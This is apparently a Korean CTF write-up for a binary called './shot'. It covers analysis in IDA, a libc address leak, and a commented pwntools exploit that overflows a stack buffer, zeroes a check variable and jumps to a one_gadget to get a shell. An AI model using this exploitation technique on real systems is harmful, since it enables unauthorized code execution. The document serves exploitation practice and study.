728x90
checksec
IDA로 pseudo code 확인
IDA x64로 실행
2번 메뉴 선택: 원하는 주소값을 출력
3번 메뉴 선택: while 반복문 종료
1번 메뉴 선택: buf에 0x38byte만큼 입력
입력받은 값을 buf에 저장
buf-v7 = 20-10
debugging
$2: "/bin/sh" 주소 - system() 주소
$3: "/bin/sh"주소 - libc 주소
one_gadget
offset
Exploit
from pwn import *
context.log_level = "debug"
p=process("./shot")
elf=ELF("./shot")
libc=elf.libc
p.sendlineafter("> ", '2')
p.recvuntil("stdin: ")
stdinaddr=int(p.recv(14),16)
libcbase=stdinaddr - libc.symbols['_IO_2_1_stdin_']
log.info(hex(stdinaddr))
p.sendlineafter("> ", '1')
dum=""
dum+="A"*(0x20-0x10)
dum+=p64(0)
dum+="A"*(0x28-(0x20-0x10)-8)
dum+=p64(libcbase+0x45216)
gdb.attach(p)
p.send(dum)
p.sendlineafter("> ", '3')
p.interactive()
libc = elf.libc //stack에서 libc의 주소를 받아온다
stdinarr = int(p.recv(14),16) // menu를 입력받을 때 입력받은 '2'의 주소 (stdin의 주소)가 출력되면 이를 stdin에 저장
libcbase = stdinarr - libc.symbols['_IO_2_1_stdin_'] // stdin의 심볼 '_IO_2_1_stdin_'을 libc에서 불러온다 > offset libcbase를 구한다
dum //payload부분; if(v7) exit()이 실행되지 않게 v7에 0을 저장한다
dum += "A"*(0x20-0x10) //v7과 buf 사이를 채움
dum += p64(0) // v7에 0을 넣어준다
dum += p64(libcbase+0x45216) // return address로 libcbase에 one_gadget으로 구한 offset을 더해 execve('/bin/sh')가 실행되도록 한다
SMALL